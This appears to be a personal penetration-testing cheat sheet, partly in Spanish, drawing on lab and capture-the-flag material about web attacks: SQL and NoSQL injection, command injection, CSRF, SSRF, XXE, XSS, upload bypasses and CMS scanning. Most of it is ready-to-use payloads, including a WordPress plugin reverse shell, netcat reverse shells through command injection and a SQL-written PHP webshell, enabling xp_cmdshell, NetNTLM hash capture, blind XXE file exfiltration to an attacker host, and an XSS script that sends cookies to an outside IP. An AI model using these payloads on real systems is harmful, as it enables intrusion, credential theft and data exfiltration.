/var/log/httpd/error_log /var/log/httpd/access_log

FreeBSD

/var/log/httpd-error.log /var/log/httpd-access.log

Common Config file location

check any restriction or hidden path on accessing the server

Ubuntu

/etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/apache2/apache2.conf /etc/httpd/httpd.conf /etc/httpd/conf/httpd.conf

FreeBSD

`/usr/local/etc/apache2/httpd.conf

Hidden site?
/etc/apache2/sites-enabled/000-default.conf`

root/user ssh keys? .bash_history?

/root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /root/.ssh/known_hosts

Resources

https://www.php.net/manual/en/wrappers.file.php

Web CMSs

1 Wordpress


wpscan

wpscan --url <http://sandbox.local> --enumerate ap,at,cb,dbe -o sandbox.out

./wpscan –url <http://IP/> –enumerate p

a veces conviene usar el modo agressive de wpscan

wordpress password cracker

https://github.com/MrSqar-Ye/wpCrack.git

wordpress reverse shell admin panel

  1. create php code

`<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'"); ?>`

  1. zip the php

  2. upload the zip as plugin

  3. activate plugin

2 Joomla


ip/administrator/manifests/files/joomla.xml <- te da la version

joomscan

joomscan -ec -u <http://curling.htb>

3 DRUPAL


https://github.com/dreadlocked/Drupalgeddon2

droopescan scan drupal -u 10.10.10.102:80

command injection

1.0 Command injection


Si la aplicacion ejecuta comandos de sistema en funcion del input de usuario y este no esta sanitizado, se pueden correr comandos en el servidor ej:

https://vulnerable.io/test.php?id=1 && nc -e /bin/sh 130.10.10.16 4444

en javascript si usas eval(), setTimeout(), setInterval(), Function() tmb se puede hacer injeccion de js

process.kill(process.pid)

CSRF

CSRF (portswigger)


Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

for CSRF we need:

  1. relevant action

  2. cookie based session handling: Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests.

  3. No unpredictable request parameters: The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess.

HTTP request example

`POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

[email protected]`

attack example

<html> <body> <form action="<https://vulnerable-website.com/email/change>" method="POST"> <input type="hidden" name="email" value="[email protected]" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

csrf token bypass example

some apps validate only post methods

GET /email/[email protected] HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

bypass if the app depends on the token being present

`POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

[email protected]`

bypass if the token is not tied to the user session:

In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

CSRF token is tied to a non-session cookie In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

`POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]`

CSRF token is simply duplicated in a cookie some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter.

`POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]`

In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Referer-based defenses against CSRF easey to change the referer

`<meta name="referrer" content="never"> http://attacker-website.com/csrf-attack?vulnerable-website.com

If the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack`

prevention . using csrf token and validation for every methods Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

SQL Injections

Intro


Classes

  • INBOUND> data is extracted using the same channel that is used to inject the SQL code.

  • OUT OF BAND> data is retrieved using a different channel

  • INFERENTIAL> there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour

Types

  • Error-based> the webpage show us an error

  • Union-based> The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result.

  • Blind-sql-injection> check with time or different information showing

methodology

  1. Identify injection and Injection type (with strings use ‘ with numbers dont)

  2. Attack Error based

  3. Attack Union based

  4. Attack Blind

1 Error based SQL


case 1 MSSQL

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

  • respuesta

    Syntax error converting the nvarchar value 'nombre_de_usuario' to a column of data type int

    Grab the database user with USER Grab the database name with DB_NAME Grab the servername with @@servername Grab the Windows/OS version with @@version

Case 2 MSSQL

https://www.exploit-db.com/papers/12975/

  • Enumerate column and table name

    http://www.example.com/page.asp?id=1' HAVING 1=1-- Error message: Column 'news.news_id' is invalid < table_name.column

    http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1-- Error message: Column 'news.news_author' is invalid < table_name.column2

    http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1-- Error message: Column 'news.news_detail' is invalid < table_name.column3

    Until no error

  • Enumerate version, db name, users:

    http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)-- <http://www.example.com/page.asp?id=1+and+1=convert(int,db_name()>)-- <http://www.example.com/page.asp?id=1+and+1=convert(int,user_name()>)-- << Is the user running as dbo or sa?

    xp_cmdshell << if running as database admin <http://www.example.com/news.asp?id=1>; exec master.dbo.xp_cmdshell 'command' '; exec master.dbo.xp_cmdshell 'command'

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:

EXEC sp_configure 'show advanced options', 1;-- RECONFIGURE;-- EXEC sp_configure 'xp_cmdshell', 1;-- RECONFIGURE;--

On MSSQL 2000:

EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--

2 Union based SQLI


case 1 MSSQL

ejemplo :192.168.30.35/comment.php?id=437

?id=738 order by 1 ?id=738 order by 2 ?id=738 order by n hasta que aparece un error " unkown column 7 in order clause"

ej 2

?id=738 union select 1,2,3,4,5,6

ej 3

?id=-1 union select 1,2,3,4,@@version,6 ?id=-1 union select 1,2,3,4,user(),6

ej 4

?id=-1 union select 1,2,3,4,table_name,6 FROM information_schema tables

then

?id=-1 union all select 1,2,3,4,column_name,6 FROM information_schema columns where table_name='users' esto nos devuelve que hay 4 columnas, id name password y country

then

id=-1 union select 1,2,name,4,password,6 FROM users

esto se sluciona deshabilitando error reporting (video 94)

case 2 MySQL

  • enumerate columns

    http://[site]/page.php?id=1 order by 1/* http://[site]/page.php?id=1 order by 2/* http://[site]/page.php?id=1 order by 5/* 5 gives a valid page

  • union

    http://[site]/page.php?id=1 union all select 1,2,3,4,5/ gives a valid page

    Change the first part of the query to a null or negative value so we can see

    http://[site]/page.php?id=-1 union all select 1,2,3,4,5/* prints only 2 and 3

  • grab info

    http://[site]/page.php?id=null union all select 1,user(),3,4,5/* http://[site]/page.php?id=null union all select 1,2,database(),4,5/* http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/*

3 Blind SQLi


case 1 MSSQL

http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- ... etc until we wait for 10 secs

  • to extract the user name:

    http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'-- http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>98) WAITFOR DELAY '00:00:10'-- http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- hangs for 10 seconds http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds) hangs for 10 seconds

    and so on

podemos probar

id=738-sleep(5) <-si vemos que tarda es por que el input es injectable select IF(MID(@@version,1,1) = '5',SLEEP(5),0)

tmb podemos probar con un and para ver si trae o no resultados

id=6 and 1=1 id=6 and 1=2

SUPONEMOs que es injectable y buscamos un archivo con load_file

id=738 union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6

Creamos un php

id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd'];?>",6 into OUTFILE'c:/xampp/htdocs/backdoor.php'

With blind SQL injection vulnerabilities, many techniques such as UNION attacks are not effective

Exploiting blind SQL injection by triggering conditional responses

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed within the page.

xyz' UNION SELECT 'a' WHERE 1=1-- << shows welcome back xyz' UNION SELECT 'a' WHERE 1=2-- << shows nothing

try to gues the password for Administrator:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--

We can continue this process to systematically determine the full password for the Administrator user.

Inducing conditional responses by triggering SQL errors

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END-- xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the case expression evaluates to NULL, which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application’s HTTP response, we can use this difference to infer whether the injected condition is true.

Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:

xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users—

Exploiting blind SQL injection by triggering time delays

'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

  • attack

    '; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'—

mssql Capture and crack NetNTLM hash


the MSSQL Server service account can be made to initiate a remote SMB connection using the command below.

'+EXEC+master.sys.xp_dirtree+'\\\\10.10.14.9\\share--

si corremos responder en 10.10.14.9 vamos a pegar hashes

SQL filter bypass


Beyond SQLi: Obfuscate and Bypass - https://www.exploit-db.com/papers/17934/

AND, OR operators AND = && OR = ||

Comment operator « Mysql

  • `-

/**/`

Retrieving multiple values within a single column STRING CONCATENATION

In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

Examining the database in SQL injection attacks

ORACLE

On Oracle, you can obtain the same information with slightly different queries.

You can list tables by querying all_tables:

SELECT * FROM all_tables

And you can list columns by querying all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = ‘USERS’

JARVIS CASE BLIND SQLI


identifing

la detectamos con:

http://jarvis.htb/room.php?cod=6 and 1=1 <http://jarvis.htb/room.php?cod=6> and 1=2

enumeration

jarvis.htb/room.php?cod=6 order by 1 jarvis.htb/room.php?cod=6 order by 7 jarvis.htb/room.php?cod=6 order by 8 > error

  • chequeamos que tipos estan permitidos

/room.php?cod=6 UNION SELECT 'a','a','a','a','a','a','a' /room.php?cod=6 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL jarvis.htb/room.php?cod=6 UNION SELECT 1,2,3,4,5,6,7

  • show results usamos -1 para que nos muestre los numeros en otro lado

    jarvis.htb/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7

    nos muestra 2,3,4,5

  • probamos ver la version en alguno de los campos imprimibles

    jarvis.htb/room.php?cod=-1 UNION SELECT 1,@@verion,3,4,5,6,7

  • seguimos enumerando

  • user, hostname , db

`http://jarvis.htb/room.php?cod=-1%20UNION%20SELECT%20NULL,@@version,user(),@@hostname,5,6,7

user = DBadmin@localhost hostname = jarvis database() = HOTEL`

  • schema

jarvis.htb/room.php?cod=-1 UNION SELECT 1,(select SCHEMA_NAME from Information_Schema.SCHEMATA LIMIT3,1),3,4,5,6,7

  • lfi

`http://jarvis.htb/room.php?cod=-1%20UNION%20SELECT%20NULL,@@version,LOAD_FILE(%22/etc/passwd%22),4,5,NULL,NULL

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false pepper:x:1000:1000:,,,:/home/pepper:/bin/bash mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false sshd:x:107:65534::/run/sshd:/usr/sbin/nologin`

  • lfi 2

`/var/www/html/index.php

<?php error_reporting(0); include("connection.php"); include("roomobj.php"); $result=$connection->query("select * from room"); while($line=mysqli_fetch_array($result)){ $room=new Room(); $room->cod=$line['cod']; $room->name=$line['name']; $room->price=$line['price']; $room->star=$line['star']; $room->image=$line['image']; $room->mini=$line['mini'];

        $room->printRoom();
        }
      ?>`
  • LFI 3

`/var/www/html/connection.php

$connection=new mysqli('127.0.0.1','DBadmin','imissyou','hotel');`

  • Reverse shell

`la creamos

/room.php?cod=-1 UNION SELECT NULL,1,1,4,"<?php system($_GET[\"cmd\"]); ?>",NULL,NULL into OUTFILE"/var/www/html/shell3.php"`

`la iniciamos

/shell3.php?cmd=nc -nv 10.10.14.6 4444 -e /bin/bash`

second order sqli


registramos cuentas con un sqli por ejemplo

rop' or 2=2 # ' or 0=0 -- ' or 0=0 # ' or 0=0 #" ' or '1'='1' -- ' or 1 --' ' or 1=1 -- ' or 1=1 or ''=' ' or 1=1 or ""= ' or a=a -- ' or a=a ') or ('a'='a 'hi' or 'x'='x';

despues nos logueamos rop’ or 2=2 #:password

Login Bypass:


replace ‘ with “ if fail

`' or '1'='1
' or 1=1;--
' or 1=1;#
') or ('x'='x
' or <column> like '%';--
' or 1=1 LIMIT 1;--

USERNAME: ' or 1/*
PASSWORD: */ =1 --

USERNAME: admin' or 'a'='a
PASSWORD '#

USERNAME: admin' --
PASSWORD:`

inject webshell


`Mysql '*'
'&'
'^'
'-'
' or true;--
' or 1;--

union all select "<?php echo shell_exec($_GET['cmd']);?>",2,3,4,5,6 into OUTFILE '/var/www/html/shell.php'`

NoSql


like sql

`select * from usernames where user='$user';

$user->findone(array( "username"=> "$user" ));`

usuarios que no son iguales '' user->findone(array( "username"=> "{$ne:''}" ));

injection php

url check if user exist

username[$ne]=RandomNoexiste&password[$ne]=noexiste

injection with regex php

check for 1 char and 4 char usernames username[$regex]=^.{1}&password=noexist username[$regex]=^.{4}&password=noexist

node.js

  1. change Content-type application/json

  2. convert payload to json

{ "username": { "$ne": "RandomNOExiste"}, "passowrd": { "$ne": "ipssec"}, "login":"login" }

Automated sql injection tools [sqlmap]


buscar vulnerabilidades

root@kali: sqlmap -u http:192.168.30.35 --crawl=1

Sacando data

root@kali:sqlmap -u <http://192.168.30.35/comment.php?id=839> --dbms=mysql --dump --threads=5

otros argumentos:

  • -os-shell: automatic code execution: os-shel> ipconfig ->succes

RESOURCES


https://linuxhint.com/blind_sql_injection_tutorial/

SSL

sslyze

sslyze –regular 10.10.10.22

ssl scan

sslscan tests SSL/TLS enabled services to discover supported cipher suites

https://github.com/rbsec/sslscan

SSRF

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization’s infrastructure, or to external third-party systems.

common attacks

SSRF attacks against the server itself . This will typically involve supplying a URL with a hostname like 127.0.0.1 or localhost For example, consider a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs, dependent on the product and store in question. The function is implemented by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. So when a user views the stock status for an item, their browser makes a request like this:

`POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1`

This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user.

In this situation, an attacker can modify the request to specify a URL local to the server itself. For example:

`POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118

stockApi=http://localhost/admin`

Here, the server will fetch the contents of the /admin URL and return it to the user.

SSRF attacks against other back-end systems

`POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118

stockApi=http://192.168.0.68/admin`

Circumventing common SSRF defenses

SSRF with blacklist-based input filters Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:

  • Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.

  • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.

  • Obfuscating blocked strings using URL encoding or case variation.

SSRF with whitelist-based input filters Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.

  • You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.

  • You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.

  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.

  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.

  • You can use combinations of these techniques together.

    Change the URL to <http://[email protected]/> and observe that this is accepted, indicating that the URL parser supports embedded credentials. Append a # to the username and observe that the URL is now rejected. Double-URL encode the # to %2523 and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username". Change the URL to <http://localhost:80%[email protected]/admin/delete?username=carlos> to access the admin interface and delete the target user.

Bypassing SSRF filters via open redirection It is sometimes possible to circumvent any kind of filter-based defenses by exploiting an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target. For example, suppose the application contains an open redirection vulnerability in which the following URL:

`/product/nextProduct?currentProductId=6&path=http://evil-user.net

returns a redirection to:

http://evil-user.net`

You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows:

`POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin`

blind ssrf Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application’s front-end response.

Blind SSRF is generally harder to exploit but can sometimes lead to full remote code execution on the server or other back-end components.

The most reliable way to detect blind SSRF vulnerabilities is using out-of-band (OAST) techniques. This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system.

SSRF via the Referer header

UPLOAD BYPASS

https://www.owasp.org/index.php/Unrestricted_File_Upload

https://soroush.secproject.com/blog/tag/unrestricted-file-upload/

`IIS 6.0 or below Asp > upload as test.txt, copy or move file as test.asp;.txt

Php > upload as pHp / phP / test.php.jpg /

php - phtml, .php, .php3, .php4, .php5,.php7 and .inc

asp - asp, .aspx

perl - .pl, .pm, .cgi, .lib

jsp - .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion - .cfm, .cfml, .cfc, .dbm`

image upload

As expected, the image gets rejected due to invalid MIME type. The magic bytes for PNG are “89 50 4E 47 0D 0A 1A 0A”, which can be added to the beginning of the shell.

echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime.php.png

Verb Tampering

It is possible to misconfigure Apache, such that authentication is only requested for a particular method, leading to a basic authentication bypass. Start Burp and intercept the request to /monitoring, then hit Ctrl+R to send it to Repeater. Change the request method to POST and send the request.

XXE

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application’s processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.

In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

types of xxe attacks


  • retrive files

  • Exploiting XXE to perform SSRF attacks

  • Exploiting blind XXE exfiltrate data out-of-band

  • Exploiting blind XXE to retrieve data via error messages

Exploiting XXE to retrieve files


modify the xml in 2 ways:

  • Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.

  • Edit a data value in the XML that is returned in the application’s response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>

you can exploit it modifing the xml to:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>

This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value.

note: With real-world XXE vulnerabilities, there will often be a large number of data values within the submitted XML, any one of which might be used within the application’s response. To test systematically for XXE vulnerabilities, you will generally need to test each data node in the XML individually, by making use of your defined entity and seeing whether it appears within the response.

Exploiting XXE to perform SSRF attacks


In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization’s infrastructure:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "<http://internal.vulnerable-website.com/>"> ]>

Blind XXE vulnerabilities


Exploiting blind XXE to exfiltrate data out-of-band

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn’t actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:

http://web-attacker.com/malicious.dtd

Finally, the attacker must submit the following XXE payload to the vulnerable application:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "<http://web-attacker.com/malicious.dtd>"> %xxe;]>

XSS

There are three main types of XSS attacks. These are:

Reflected XSS

where the malicious script comes from the current HTTP request.

Stored XSS

where the malicious script comes from the website’s database.

DOM-based XSS

where the vulnerability exists in client-side code rather than server-side code.

REFLECTED XSS


Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. Suppose a website has a search function which receives the user-supplied search term in a URL parameter:

https://insecure-website.com/search?term=gift

The application echoes the supplied search term in the response to this URL:

You searched for: gift

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

STORED - aka persistent or second-order XSS


Stored cross-site scripting arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

Suppose a website allows users to submit comments on blog posts, which are displayed to other users. Users submit comments using an HTTP request like the following:

`POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net`

url encoded with xss:

comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E

DOM - Based XSS


DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data to a potentially dangerous sink within the DOM.

source: A source is a JavaScript property that contains data that an attacker could potentially control. An example of a source is location.search, which reads input from the query string.

sink: A sink is a function or DOM object that allows JavaScript code execution or rendering of HTML. An example of a code execution sink is eval, and an example of an HTML sink is document.body.innerHTML.

In principle, an application is vulnerable to DOM-based cross-site scripting if there is an executable path via which data can propagate from source to sink. In practice, different sources and sinks have differing properties and behavior that can affect exploitability, and determine what techniques are necessary. Additionally, the application’s scripts might perform validation or other processing of data that must be accommodated when attempting to exploit a vulnerability. There are a variety of sources and sinks that are relevant to DOM-based vulnerabilities.

The document.write sink works with script elements, so you can use a simple payload such as:

document.write('... <script>alert(document.domain)</script> ...');

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe. Event handlers such as onload and onerror can be used in conjunction with these elements. For example:

element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

CONTEXT


When testing for reflected and stored XSS, a key task is to identify the XSS context:

The location within the response where attacker-controllable data appears. Any input validation or other processing that is being performed on that data by the application.

XSS between html tags

<script>alert(document.domain)</script> <img src=1 onerror=alert(1)>

xss in html tag attributes

When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example:

"><script>alert(document.domain)</script>

More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example:

" autofocus onfocus=alert(document.domain) x="

<a href="javascript:alert(document.domain)">

xss in javascript

Terminating the existing script In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. For example, if the XSS context is as follows:

</script><img src=1 onerror=alert(document.domain)>

Breaking out of a JavaScript string

'-alert(document.domain)-' ';alert(document.domain)//

Making use of HTML-encoding

When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters. For example, if the XSS context is as follows:

<a href="#" onclick="... var input='controllable data here'; ...">

and the application blocks or escapes single quote characters, you can use the following payload to break out of the JavaScript string and execute your own script:

&apos;-alert(document.domain)-&apos;

The ' sequence is an HTML entity representing an apostrophe or single quote

XSS in JavaScript template literals JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the ${…} syntax.

For example, the following script will print a welcome message that includes the user’s display name:

document.getElementById(‘message’).innerText = Welcome, ${user.displayName}.;

When the XSS context is into a JavaScript template literal, there is no need to terminate the literal. Instead, you simply need to use the ${…} syntax to embed a JavaScript expression that will be executed when the literal is processed. For example, if the XSS context is as follows:

<script> ... var input = controllable data here; ... </script>

then you can use the following payload to execute JavaScript without terminating the template literal:

${alert(document.domain)}

EXPLOITING


steal cookies

<script> new Image().src="<http://192.168.30.5:81/bogus.php?ouput=>"+document.cookie; </script>

